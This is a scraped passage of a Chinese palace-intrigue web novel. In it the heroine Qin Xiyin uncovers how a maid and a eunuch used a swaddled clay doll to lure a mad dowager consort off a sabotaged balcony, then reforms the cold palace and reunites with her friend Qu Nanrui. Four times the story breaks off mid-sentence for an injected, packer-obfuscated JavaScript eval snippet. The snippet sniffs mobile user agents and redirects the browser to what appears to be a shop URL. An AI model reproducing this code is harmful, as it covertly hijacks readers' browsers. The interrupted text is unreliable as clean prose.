前几次董太妃听曲时,都是直接从房间走到你身边,怎么今天偏偏跑高台上了呢?这很可疑啊。” 秦惜音听罢,也振作起来,问道:“当时高台上除了董太妃外,还有其他人吗?” 在场的人基本上没看见,只有如梦说道:“我没有看见其他人,董太妃好像是自己一个人站在上面的。” “还有没有更多细节?” “我想想……哦,董太妃虽然伸着双手,但她的手不是伸直的,而是略有弯曲,像这样……” 如梦把两只手往前伸,手肘弯曲,左手的掌心朝上,右手的掌心朝下,右手比左手略高一些。 如梦道:“当时,董太妃的姿势好像是这样。” 秦惜音试着做了相同的姿势,觉得有些奇怪:“这是什么姿势?” 这时,有个太妃说道:“这是抱孩子的姿势。” 秦惜音恍然大悟。 她以前也抱过自家晚辈,抱孩子的时候确实是一只手在下,一只手在上,下面的手手掌心朝上,上面的手手掌心朝下。 这个姿势,才能牢牢抱住孩子。 如果是从别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751556|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手里接孩子,事先也会摆出这个姿势。 秦惜音疑惑道:“董太妃怎么会摆出一个抱孩子的姿势呢?冷宫里又没有小孩……” 刚才说话的太妃道:“董太妃还年轻的时候,是有过一个孩子的,是个可爱的小公主。后来,小公主在三个月大的时候夭折,董太妃认为是别人害的,请求先帝彻查。 但是先帝查了一通,并没有查出什么。董太妃认为是凶手隐藏得太好,她还有了几个怀疑的对象,请求先帝继续严查。先帝不耐烦了,说让她别胡思乱想,好好休养。 后来,董太妃忆女成疾,有点疯疯癫癫的。她认为周围的人都要害她,所以每天都拿着一把小刀防身,谁接近她,她就刺谁。有一次,她还误伤了先帝。 先帝对她彻底失去耐心,说她既然疯了,就去冷宫里静养吧。董太妃就是这么进冷宫的。 当时,我也是先帝的妃嫔,住在董太妃隔壁,所以知晓这一切。” 秦惜音听得唏嘘不已:“原来,还有这样的往事……可是,之前董太妃从来不会做出这样的动作,为什么偏偏今天早上做出了抱孩子的动作?难道,她出现了幻觉,觉得自己的女儿在前面,所以她要去抱女儿,一不小心才摔了下来?” “我觉得,真相可能是这样。” 秦惜音道:“会不会是因为我在下面,她出现幻觉,认为我是她的孩子,才坠楼的?” “那应该不会,你先不要把责任往自己身上揽。” “可是,刚才如梦姑姑不是说,董太妃当时一边微笑,一边朝下看吗?她既然认为孩子在下面,当时下面除了我,就是几个疯了的太妃,还有一个在干活的古嬷嬷。她总不会把其他人认成是她的孩子吧? 这么一想,还是我比较有可能。” 太妃道:“这也不合常理。董太妃的女儿死时,只有几个月大。她怎么会把一个成年的姑娘认成是自己的孩子呢?” “这倒也是……” 这时,如梦说道:“还是不对……” 秦惜音问道:“哪里不对?” 如梦道:“我在冷宫也很多年了。前些年,董太妃疯得比现在还厉害,这两年还算好转了一些。 可是,在她最疯的时候,她也没有出现过幻觉,认为她的孩子出现了……怎么现在病情好转,她反而出现幻觉了呢? 像这样抱孩子的姿势,她之前从来没有做过。” 秦惜音皱眉道:“是这样吗……会不会是我吹奏的乐曲让她想起了自己的女儿,从而出现幻觉?我今天吹奏的曲子,是不是她也给女儿吹奏过?” 先前那太妃说道:“没有,董太妃不会乐器,她的女儿也没来得及听什么乐曲,就离开了人世。董太妃也不会唱歌,估计她女儿连摇篮曲都没听过。惜音姑娘,你怎么总把责任往自己身上揽?这样对你很不利啊。” 秦惜音讪笑道:“是吗……” 这时,另一个太妃说道:“既然当时古嬷嬷也在场,何不问问她呢?” 如梦说道:“哎呀,古嬷嬷是什么人,你们又不是不知道。她不添油加醋就不错了,怎么可能帮惜音说话?刚才事发的时候,就是她悄悄跑出去报告给瑾妃的。她巴不得早点拉惜音下台呢。” 30. 气味线索 这时,一位姓钱的太妃道:“古嬷嬷在案发第一时间就去告了惜音一状,这事会不会是她策划的?所以她才能反应这么快?” 一位姓王的太妃道:“我觉得很有可能。以前古嬷嬷不是在冷宫里作威作福的吗,惜音以来,她就没那么大的权势了,她肯定容不下惜音。惜音,我建议你重点查一下古嬷嬷。” 听她们一说,秦惜音也起了疑心。 秦惜音当时虽然一直在吹埙,心思都在乐曲上,但她也记得,古嬷嬷好像是没有站起来的,也没有转身。 既然这样,古嬷嬷不可能目睹董太妃的死亡。 更何况,董太妃临死前摆出这么奇怪的姿势,古嬷嬷如果看到了,肯定会说出来,但她没有说。 这说明,古嬷嬷在说瞎话。 她根本没有亲眼见到董太妃摔下来,但却在第一时间去瑾妃那里告秦惜音的状。 古嬷嬷这人,真令人没法说。 一会肯定要查一下古嬷嬷的屋子。 秦惜音让大家先继续干活,然后她去了董太妃的屋子里查看。 董太妃也是跟好几个废妃合住的,秦惜音搜了这间屋子,里面没有多少杂物,也没有任何利器。 那么,高楼入口处的布条肯定不是董太妃自己割断的。 这时,郁太医来了,秦惜音赶紧迎了出去,让郁太医帮忙验尸。 郁太医看见尸体,有几分不忍,随即开始仔细验尸。 过了一会,郁太医道:“董太妃确实是坠楼而亡,没有其他伤口。我前几天才刚给她制定了治疗方案,我有信心在几个月内治好她,没想到……唉。” 秦惜音也很难过,没说什么。 这时,月季却捡起了掉落的木头,仔细看了看,又闻了闻。 接着,月季说道:“栏杆是被人割断的。而且,这上面有肉味。” 秦惜音惊讶:“肉味?” 她从月季手中接过木头闻了闻,确实有淡淡的肉味。具体是什么肉,说不上来。 秦惜音问道:“为什么木头上会有肉味?难道割断栏杆的人,用的是一把刚刚割过肉的刀?那他为什么不把刀洗干净再割栏杆呢?” 月季道:“如果那把刀长年累月地割肉,即便洗干净了,还是会有肉味的。” “原来如此……” 秦惜音想到了什么,跑到高台的入口处,闻了闻那些被割断的布条。 布条的断裂处也有一股肉味。 她走上高台,在栏杆的断裂处闻了闻,也有肉味。 这证明一点,就是割断栏杆、割断入口处布条的,是同一把刀。 如果能找到那把刀,凶手也差不多可以确定了。 秦惜音命人把冷宫大门关闭,然后带着自己比较信任的双喜、小汤圆、甘雨、如梦等人,准备搜所有人的屋子。 月季仍然站在秦惜音身后,负责监视她。 不过秦惜音还挺希望月季在身边的,这样自己遇到危险,月季也能保护她。 刚才,也多亏月季发现了关键的线索。 秦惜音先从古嬷嬷的屋子开始搜起。 古嬷嬷阻止道:“惜音,明明是你害死董太妃,怎么反倒搜我的屋子?” 秦惜音道:“董太妃是自己坠亡,不是我害死她的。现在我要查清她死亡的真相,瑾妃都同意我查了,还派了月季姑姑来协助我。古嬷嬷阻拦,莫非是心虚了?还是不把瑾妃娘娘放在眼里?” 古嬷嬷怒道:“岂有此理,你胡说什么?瑾妃娘娘泽被六宫,在后宫有谁对瑾妃娘娘不真心敬服?我只怕有些人打着瑾妃娘娘的名号,公报私仇。” “我只是搜屋子,既不敲诈勒索,也不栽赃陷害,还带了这么多人过来,其中还有瑾妃娘娘的心腹月季姑姑。古嬷嬷为何把事情说得这么严重? 再说了,我们俩之间,哪有私仇?大家都是在瑾妃娘娘的领导下,各安其职,互相合作而已。” “你……” 古嬷嬷见说不过秦惜音,只得让她进去。 秦惜音一进门,就闻到一股怪味,好像是什么东西被烧焦了。 她看见窗户下有个火盆,火盆里有一些灰烬,还散发着余温。 就是这些灰烬散发出臭味。 秦惜音问道:“古嬷嬷,你在这里烧东西了?烧了什么?” 古嬷嬷道:“我闲来无事,做了几个荷包,又觉得不好看,所以烧了。” “是吗?就算不好看,也犯不着烧了啊。” “我烧自己的私人物品,是我的自由吧?” “如果是私人物品,当然可以随便处置。我只怕是……” 秦惜音突然抓住了古嬷嬷的手,仔细查看。 古嬷嬷的手上有针孔,也有握针的痕迹,看来最近动过针线。 古嬷嬷生气地抽回手,道:“惜音,你这就有点无礼了吧?” 秦惜音笑道:“您刚才说您做了荷包,我怕您伤到手,所以才看看您的手,您别误会。” “哼。” 不管古嬷嬷绣了什么,好像都跟这个案子没什么关系。 秦惜音的重点是,找那把割过肉的刀。 她把古嬷嬷的屋子仔细搜了几遍,匕首倒是找到两把,但上面都没有肉味。 古嬷嬷道:“好了吧?你已经搜了很久了。” 秦惜音见找不到证据,便笑着说道:“我只是例行公事,并非是怀疑您。我早知道您这里不会有证据,打扰了,我先走了。” “你……” 秦惜音这番话,既像是赔罪,又像是阴阳怪气,古嬷嬷反而不知道怎么发作,只好任由秦惜音离开。 秦惜音一边走着,一边回想起刚才的情景。 她总觉得有哪里不对。 古嬷嬷为什么要临时烧东西呢?就算她的荷包做得不好,放着也就是了。 实在不喜欢,扔掉也可以,没必要烧掉。 烧掉,总像是在隐瞒什么…… 也许,古嬷嬷绣的也不是荷包…… 但是,秦惜音暂时没法把这件事跟案子联系起来,一多想就头疼,也只好罢了。 接着,秦惜音检查了其他宫人们的屋子。 结果,在太监小叶子的床板里,找到一把小刀。 这把小刀闻着有肉味。 秦惜音有些严肃地询问小叶子:“这把刀是你的?” 小叶子道:“是。不过,我只用它来防身,从来没有伤人过。” “我知道。这把刀没有伤人,只是割断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751557|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高台入口处的布条,还割断了高台上的栏杆而已。” 小叶子大惊失色,道:“绝无此事!” “那我问你,这把刀上为什么会有肉味?” “因为我平时吃肉,会拿这把刀来割。” “那就对了。高台入口处断裂的布条上,还有高台二楼断裂的栏杆上,也有肉味。” “这……这跟我没关系啊……也许是有人偷了我的刀,把栏杆和布条割断的……” “谁偷的?何时偷的?有什么证据?你刚才一直在房间里,如果他偷了你的刀,又是怎么偷偷放回你的床板里的?” “啊,我……这……” 小叶子越来越慌乱,难以自圆其说。 秦惜音让人把他拿下,对月季道:“月季姑姑,小叶子有嫌疑,您看先关押在哪里?” 月季道:“在冷宫寻一间空屋子关押吧,我会叫比翼宫的人过来看守。” 比翼宫就是瑾妃的宫殿。 月季不是自己一个人来的,她也带了一个跑腿的太监。 她让那小太监回比翼宫去,找几个身材高大的太监来,看守小叶子。 那跑腿太监一溜烟的去了。 接着,秦惜音又快速搜了其他屋子,看有没有可疑的东西,但都没有什么发现。 搜到其中一间废妃的屋子时,有个姓褚的太妃喃喃自语:“小叶子……董玉柔……” 董玉柔是董太妃的名字,秦惜音听到褚太妃这样说,便问道:“褚太妃,您在说什么?您是不是知道董太妃是怎么死的?” 这个褚太妃也是个疯子,有些前言不搭后语的,说道:“小叶子……董玉柔……说话……董玉柔……上去……” 她来来回回的就说这些,秦惜音琢磨了一下,问道:“您的意思是,小叶子跟董太妃说了什么,董太妃才走到高台上去?” 但是,褚太妃好像没听懂秦惜音的话,仍旧在自说自话:“小叶子……董玉柔……说话……” 秦惜音看着月季,问道:“月季姑姑,您看这位太妃说的话,能不能作为旁证?” 月季道:“她是个疯子,而且没有把意思表达明白,不能作为证人。” 秦惜音点头:“嗯,我明白了。” 虽然褚太妃的话没法作为证据,但至少从侧面证明,小叶子有嫌疑。 死去的董太妃平时都不会到高楼上去的,她今天突然上去,也很可疑。也许,就是因为小叶子跟她说了什么。 不过,目前的证据不算很充分,如果小叶子抵死不认,是不是得用刑? 但是,一旦用刑,就存在刑讯逼供的嫌疑。而且,秦惜音也狠不下心来这么做。 这时,有个叫玛瑙的老宫女跑了过来,对秦惜音道:“惜音姑娘,我发现我做的泥娃娃少了一个。” 玛瑙也是一直住在冷宫的老宫女之一,当初也是跟着自家主子一块进来的。她有捏泥人的手艺,秦惜音就让她捏泥人。 “少了一个?是被人偷了,还是怎么回事?” “我不知道啊。这些天,我一直在做泥娃娃,做好的放在一个箱子里。但是刚才,我想把新作的泥娃娃放进去,才发现之前放在箱子里的泥娃娃少了一个。” “是什么样的泥娃娃?” 31. 罪有应得 “是个女娃娃,大概只有成人的小臂那么长,从外表看,像是几个月的女婴。” 秦惜音忽然灵光一闪,道:“快带我去看看你的泥娃娃都是什么样子的。” 玛瑙便把秦惜音领到她做工的屋子里,指着一个箱子,说道:“那箱子里全是我做好的泥娃娃。” 秦惜音急匆匆地走过去一看,见这箱子里的泥娃娃全都很漂亮,画了五官、衣服,看起来活灵活现的。 一般人不会把泥娃娃认成真娃娃,但如果是一个疯子呢? 董太妃临死前,微笑着往前走,还做出了抱孩子的动作…… 当时,地面上除了秦惜音,几个疯了的太妃,就只有古嬷嬷…… 那么,那个被偷走的泥娃娃在哪里? 刚才已经搜过古嬷嬷的屋子了,没有…… 这时,秦惜音忽然想到了什么,跑到了古嬷嬷清理过的那片花圃前面。 她随手捡了一块石头,用力往下挖。 没过多久,她就在里面挖出了一个泥娃娃。 她问随之而来的玛瑙:“玛瑙姑姑,您看,这是您丢的那个吗?” 玛瑙道:“是啊,怎么会被埋在这里……” 一瞬间,秦惜音之前的疑点全都想明白了。 她把那个泥娃娃拿过来,带上玛瑙、月季,还有一些信得过的宫人,重新回到古嬷嬷的屋子。 古嬷嬷吓了一跳,说道:“怎么回事?不是搜查过一遍了吗?” 秦惜音直接把泥娃娃拿到古嬷嬷面前,问道:“古嬷嬷可认得此物?” “这……这不就是一个泥娃娃吗?” “没错,这个泥娃娃本是玛瑙捏出来的,但是被人偷了,却在您今天早上打理过的那片花圃里出现。您不该解释一下吗?” 古嬷嬷有些慌张:“有什么好解释的?我根本就不知道是怎么回事……” “您不知道怎么回事?那我来帮您回忆一下。就在前几天,你和小叶子制定了一个歹毒的计划,想嫁祸于我。这个计划就是,设法害死一个人,把责任推到我的头上。 你知道董太妃年轻时曾夭折过一个女儿,那件事也成了她的心病。因此,你趁着夜深无人,偷走了一个女的泥娃娃,并偷偷缝制了襁褓,把泥娃娃放进去,这样就显得更像一个真正的女婴。 你这些天确实动过针线,你手上的针孔和握针的痕迹可以证明。只不过,你并不是在绣荷包,而是在缝制襁褓。 今天早上,你趁着我在庭院里吹埙,故意来我身边干活,还背对着我。实际上那时候,你已经偷偷携带了这个泥娃娃过来,并且用身体遮住。这样,我就看不见泥娃娃。 同时,小叶子按照你的吩咐,偷偷骗董太妃上了高台。我估计,小叶子应该是跟她说,走到高台上就能见到她的女儿。 董太妃已经疯了,所以才会信这种话。 而高台入口处的布条,还有高台的栏杆,也是早就由小叶子破坏的。 董太妃顺利地走上了高台,你再偷偷把襁褓里的泥娃娃露出来,让她看见。 她真的以为那个泥娃娃是自己的女儿,才会不管不顾地朝前走,最终坠亡。 当她掉下来的时候,我们的注意力都在尸体上,你就趁机把泥娃娃埋在了花圃里。 至于泥娃娃的襁褓,你想要毁去,就偷偷拿回自己屋里烧了。 所以,刚才你匆匆烧掉的也不是荷包,而是襁褓。而你用的布都是劣质的,所以烧完之后有一股臭味。” 古嬷嬷冷汗直流,但还是狡辩道:“这都是你的猜测,你有什么证据?” “泥娃娃在你工作过的花圃里被找到,就是最大的证据。” “你胡说!我怎么可能偷偷携带一个有襁褓的泥娃娃,而不被人发现呢?” “古嬷嬷,您身材肥胖,肚子也很大,如果在里面塞一个泥娃娃,想必也不会有人发现。” “你在污蔑我!你说的这一切,你自己也没有亲眼看见吧?” “我虽然没有亲眼看见,但种种证据都指向你。而且,你还忽略了两个细节。” “哪两个细节?” “第一,在董太妃刚刚坠楼的时候,在场所有人都发出了尖叫声,包括我。但是,我好像并没有听见古嬷嬷您的尖叫。所以,董太妃坠楼这事,您早就知道,所以才不惊讶吧? 第二,您那时一直在打理花圃,如果花圃里埋了东西,您肯定第一时间就发现了吧?这泥娃娃埋得很浅,为何您会没有发现呢? 唯一的解释,就是埋泥娃娃的不是别人,正是你自己。你用泥娃娃害死了董太妃,但又怕把泥娃娃随身携带,匆忙之间可能会掉落在地。因此,你选择先把泥娃娃埋起来,等没人的时候再销毁。 可是你没想到,我这么快就猜到了真相,把泥娃娃找到了。” 古嬷嬷瘫倒在地,不知道该说什么。 过了一会,她恨恨地盯着秦惜音道:“你……你不是人……否则,你怎么可能知道一切……” 秦惜音俯下身,在她耳边道:“我是人,不过是比寻常人聪明了一点而已。” 见古嬷嬷这副样子,月季大概也明白,凶手就是古嬷嬷和小叶子了。 月季把古嬷嬷、小叶子带回瑾妃宫里审问,两人把一切都交代了,大部分的细节都跟秦惜音猜测的一样。 不过,古嬷嬷还交代,自己这样做,其实也是受人指使。指使她的人就是太后殿的一等宫女寒秋。 得知这个消息,瑾妃不敢专断,就带着古嬷嬷、小叶子等人去了寿康宫,面见太后,说明一切。 太后也把秦惜音、寒秋都叫了过来,让她们当面对质。 当秦惜音得知幕后主使是寒秋的时候,非常惊讶。 因为,她跟寒秋根本不熟,几乎没说过几句话。 秦惜音跟另一个一等宫女入夏比较熟。 太后询问寒秋,这件事是不是她主谋。 见瞒不住了,寒秋只得承认。 她说自己之所以这样做,是忌惮秦惜音。她觉得秦惜音迟早能成为一等宫女,跟她竞争女官之位。 而她自认为才能不如秦惜音,很可能会输给她,所以就提早下手。 只要秦惜音在管理冷宫时出了人命,太后很可能就不给秦惜音脱离贱籍的机会了。 太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751558|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和秦惜音听了寒秋的招供,都有些震惊。 最后,太后秉公处理,把寒秋贬入掖庭,终身劳作。秦惜音无罪,可以继续管理冷宫。 同时,太后马上派工匠去修冷宫所有不安全的建筑,让秦惜音监工。 并且,太后下令解除董太妃废妃的身份,把董太妃追封为悯妃,葬入先帝的妃陵。 古嬷嬷和小叶子害死人命,念在她们是从犯,也一并贬入掖庭为奴。 而古嬷嬷和小叶子的所有财产,由秦惜音处理。她们两人的空缺,也由秦惜音来决定由何人补上。 秦惜音禀明太后,说冷宫里有两个老宫女如梦和玛瑙,当年都是因为主子犯错,才跟着主子一起入冷宫。 现在她们两人的主子都已病故,但她们却出不去冷宫了,不如就由她们俩补上这个缺,成为冷宫正式的宫人,领一份俸禄。 太后同意了。 太后另外赏赐秦惜音白银二十两、布帛五匹,作为她这次查清真相的奖励,也有为她压惊之意。 秦惜音谢恩后,接着对太后说道:“太后娘娘,奴婢还有一个不情之请。” “你说吧。” “冷宫里的病人,目前都已经有详细的治疗方案。太医说,心情也是至关重要的。奴婢想着,如果能找到那些废妃的家人,让她们跟废妃们团聚,经常见面说说话,对废妃们的病情也是有帮助的。不知这个请求,太后娘娘能否允准?” “这自然是可以的。不过,那些废妃年纪都比较大了,她们的家人可能也不在人世或是不在京城了。即便能找到家人,恐怕他们也未必愿意跟冷宫里的废妃扯上什么关系。 总之,这件事难度不小。你如果不怕麻烦,可以去史馆查阅。” “是。” 秦惜音去了史馆,查阅了先帝时期和德宗皇帝时期被废的妃嫔、女官等人的家人信息,并一一抄录。 由于冷宫人数众多,查阅起她们的家人资料来也很费劲。 秦惜音看了几个时辰,也才找到三分之一的家人信息。 想着冷宫还有一些事没办,秦惜音就暂时离开了史馆。 回到冷宫后,秦惜音宣布了太后最新的命令,包括查抄古嬷嬷和小叶子的财产;让玛瑙和如梦补上古嬷嬷、小叶子的缺,成为冷宫的正式宫人,以后有俸禄;冷宫所有不安全的、老旧的地方,即日起开始翻修;等等。 大家听后都很开心,尤其是玛瑙和如梦,简直不敢相信自己的耳朵。 她们两个年纪都很大了,本以为会这样平淡地老死在冷宫,没想到还有这样的机遇。 因此,两人都很郑重地感谢了秦惜音。 秦惜音笑道:“两位姑姑不必谢我,古嬷嬷和小叶子犯了事,冷宫本来就有空缺职位。您二位又是当惯了管事宫女的,有经验,所以我就推举你们了。从今以后,希望二位姑姑能好好办事,我也会上报给太后,让她老人家多给你们一些赏钱。” 玛瑙、如梦都道:“我们以后都听惜音姑娘的。” “现在,我们先去查抄古嬷嬷和小叶子的财产吧。” 没想到,这一查,把秦惜音吓了一大跳。 32. 故人进宫 古嬷嬷和小叶子也太有钱了。 从古嬷嬷这里找到黄金三百多两,白银五百多两,铜钱十几串,各种金银珠宝两大箱,还不算她房间里的种种珍贵器物,比如屏风、花瓶、木雕摆件、玉碗等等。 小叶子那里没这么多钱,但也有黄金百两,白银二百多两,珍贵首饰二十多件。 秦惜音道:“就算古嬷嬷每年都贪污冷宫的公款,也剩不下这么多钱。看来还有别的来财途径。她是不是敲诈过进入冷宫的废妃?” 玛瑙和如梦都是在冷宫里待了几十年的,对古嬷嬷的手段很清楚。 她们两人又露出了鄙夷又愤恨的神色。 如梦道:“谁说不是呢?我家主子进冷宫的时候,还带了一些钱,后来都被古嬷嬷以各种方式要走了。就连我家主子头上戴的钗环,也被她拿走了。 这冷宫里,她一手遮天,我们都不敢反抗。小叶子是她干儿子,跟她是一路货色。其他宫人稍微好些,但要么只管自己,对冷宫的人不闻不问;要么畏惧古嬷嬷,不敢声张。” 玛瑙道:“她贪污的远远不止这些,平时她大手大脚的,花出去好多钱。否则,这会还能查抄到更多。” 如梦道:“不止如此,有些废妃刚进冷宫的时候,还有人关照,比如宫里要好的妃嫔会送来钱财和食物,或是宫外的家人会送钱进来。这些钱也大部分进了古嬷嬷的口袋。” 玛瑙道:“其实,有些太妃刚进来时还不疯的,后来逐渐感到绝望,又因为冷宫环境恶劣,还经常受到古嬷嬷的欺负,无处伸冤,才慢慢疯了。” 两人你一句我一句的,把古嬷嬷的罪行抖落了个干净。 秦惜音越听,心情越沉重。 她刚被抄家,沦为宫女的时候,以为世间最大的苦难不过如此了。 但是,其实有很多人过得比她苦得多。 在冷宫里,叫天不应,叫地不灵,大部分人都习惯了被欺负、被敲诈,没想到还有重见天日的一天。 如梦道:“自从惜音姑娘来了,我们才算看到了希望。” 玛瑙道:“是啊,惜音姑娘来的时日虽不长,但却给我们带来了很大的改变,我们以前从来没想过,日子还能这么有奔头。” 秦惜音道:“两位姑姑过誉了。查抄出来的这些财产,就充入冷宫的公账吧。现在,我们有钱买药、买好吃的,还能买一些时兴的布料,给大伙都做些好看的衣裳。” 玛瑙和如梦都很惊讶。 她们本以为,秦惜音会把这些钱全部拿走,或是拿走一部分。没想到,秦惜音一文钱都没要。 这让她们更加佩服秦惜音。 玛瑙道:“惜音姑娘,您真是太善良了。” 秦惜音笑道:“这些钱本来就不是我的,古嬷嬷和小叶子能攒下这些钱,一来是贪污了冷宫的公款,二来是敲诈了冷宫的人。我也不过是取之于谁、用之于谁罢了。” 如梦说道:“惜音姑娘,如果你是男的,一定能成为一个清官。可惜你是女的。” “没事,我虽然是女的,但现在不也有机会做出清官才能做的事吗?只要谨守己心,一定会有不一样的际遇。” “惜音姑娘说得对。” 过了一会,翻修房屋的工匠们来了。 秦惜音让双喜和小汤圆带领工匠们施工,指出哪里需要翻修。 玛瑙和如梦都有技能在身,玛瑙会做泥娃娃,如梦会煮糖水。秦惜音让她们仍旧去做这些事,冷宫的杂务暂时交给其他宫人。 在剩下的宫人中,福公公身体不好,暂时不让他做事;宫女东风在种药材和蔬菜,也暂时让她心无旁骛地种地;剩下两个宫女甘雨、子规,帮着秦惜音干活。 秦惜音让甘雨和子规帮忙统计一下,冷宫众人各自需要多少药材、多少新衣服、新被褥,谁缺了什么生活必需品,等等。 等统计完之后,统一去采购。 安排好这些杂事后,秦惜音继续去了史馆,查废妃们的家人。 几天后,秦惜音把所有冷宫废妃的家人都查清楚了。 只是,不知道那些家人是否还活着,现在住在哪里。 这又是一件繁琐的工程,不过秦惜音现在有钱了,可以花钱请别人帮忙打听。 由于如梦每天都煮糖水,还分给过路的宫人,有很多宫人都愿意帮冷宫的忙。 秦惜音找到了那些宫人,给她们一些钱,让她们分头打听一下,废妃们的家人现在在哪里。 做事的人多了,搜集消息就快了。 没过几天,秦惜音得到消息:大部分废妃的直系亲属要么不在人世了,要么远离京城了;即便是还在京城的,大部分也不愿意与废妃们见面,只当是家里从来没有这个人。 只有三个废妃的家人愿意进宫见面,秦惜音赶紧安排了其中的女眷进宫。 最终,一共有五名女性家眷进宫,看望已经疯了的废妃们。 几名相关的废妃见到家人,病情确实减轻了一些。 而其他疯子也以为是自己的家人来了,围住那五名女眷。 那五名女眷不忍心戳破真相,因此也像对待家人一样对待其他疯子。 而且,那五名女眷还答应,有空会经常过来,跟这些疯了的太妃一起玩,陪伴她们,直到她们的病情控制住为止。 有了这五名女眷的帮助,再加上秦惜音不吝用药,即便是一些贵重的药材,也按时按量给疯子们喝,不出一个月,大部分疯子的病情都控制住了。 虽然还不算正常人,但比以前已经好多了。 同时,冷宫里破损的、陈旧的地方也已经翻修好,整座宫殿看起来更整洁有序了。 宫女甘雨和子规统计出来的必需品,秦惜音也安排人买进来,分给冷宫众人,再也没人缺衣少食了。 做手工的人也做了一大堆商品,秦惜音全部运出宫去,托徐家姐妹卖掉。 几天后,徐二娘写信进来,说是大部分商品都卖掉了,有少数商品滞销。卖得的钱也会托人带进来。 徐二娘还在信中写了,哪些商品比较受欢迎,哪些商品卖不出去,让秦惜音在生产环节做出调整。 秦惜音按徐二娘的建议调整了,比如积木、玩偶可以多做一些,头油可以少做一些,等等。 没过多久,卖商品所得的钱也到了秦惜音手上,秦惜音按照比例,分配给了做手工的人,剩下的充入冷宫的公账。 大家得到了劳动报酬,积极性都很高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751559|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,继续做更多的商品,都不需要秦惜音督促。 其实,现在冷宫的账面上有钱了,不太需要大家赚钱。但秦惜音并没有把这件事告诉她们。 让大家的生活有个盼头,才会越来越好。 如果恢复到以前那种无所事事的状态,很容易重新抑郁。 郁太医还会隔三差五地来给冷宫众人复诊。 在某次郁太医过来的时候,秦惜音坚持要再给他白银百两,作为医药费。 郁太医又想推辞,被秦惜音强硬地要求收下。 秦惜音道:“不是给你的,给你家孩子的,收下。” 郁太医:“……” 郁太医有些过意不去,又教了秦惜音更多医术,还教了秦惜音八段锦,让她有空多练练。 他说行医之人,如果不经常锻炼的话,很容易把病人的病气集于体内,对身体不好。 秦惜音从郁太医这儿又学到了很多。 这天,秦惜音正在干活,忽然来了一位面生的宫女,对秦惜音道:“请问您是惜音姑娘吗?我家娘娘请您过去一趟。” 秦惜音惊疑不定,问道:“请问你家娘娘是?” “我家娘娘是新入宫的曲采女。” “曲采女?我好像不认得……” “我家娘娘叫曲南蕊,她说如果您听见这名字,就知道是谁了。” 秦惜音十分激动,问道:“真是她?” “嗯,她是户部侍郎曲大人的女儿。” 秦惜音兴奋不已,赶紧跟着这个宫女走,还催促这宫女走快些。 曲南蕊是秦惜音的朋友,秦惜音已经很久没见到她了。 没想到,会在此情此景下重逢。 听这宫女的意思,似乎曲南蕊已经通过选秀,成为皇帝的妃嫔。 这倒令秦惜音意外。 她前些天确实听说皇帝举办了一场选秀,但她不关心这事,所以也没打听过。否则,她早该知道曲南蕊中选的消息了。 本朝的选秀不是强制的,愿意报名的可以报名,不愿意报名的也可以自行婚配。 不知参加选秀是曲南蕊自己的意思,还是她家人的意思…… 很快,那宫女就把秦惜音带到了芳颜宫。曲南蕊就住在这个宫殿的西侧殿。 秦惜音来到西侧殿,见到一个活泼可爱的年轻宫妃。 她穿着一身浅蓝色的宫装,由于位份不高,首饰偏向简约素净,却衬得她如出水芙蓉一般。 她见到秦惜音,立刻冲了上来,拉着秦惜音的手,道:“惜音,终于见到你了!” 秦惜音也开心地打量了她几眼,见她还跟以前一样,红光满面,中气十足的,就放下心来。 接着,秦惜音抽回了手,行礼道:“奴婢惜音,给曲采女请安。” 曲南蕊赶紧扶起她,嗔怪道:“你怎么朝我行起礼来了?” “现在娘娘和奴婢身份不同了……” “那都不重要。在我心里,咱们还是好朋友。采蘩,你去准备一些糕点和果茶,别太甜。” 身边的宫女采蘩应道:“是。” 宫女离开后,曲南蕊拉着秦惜音坐下,有些心疼地问道:“惜音,这段时间你好吗?” 33. 依依惜别 秦惜音释然地笑了笑:“还好,活得不错。” “可是,我看你都瘦了,也憔悴了很多。” 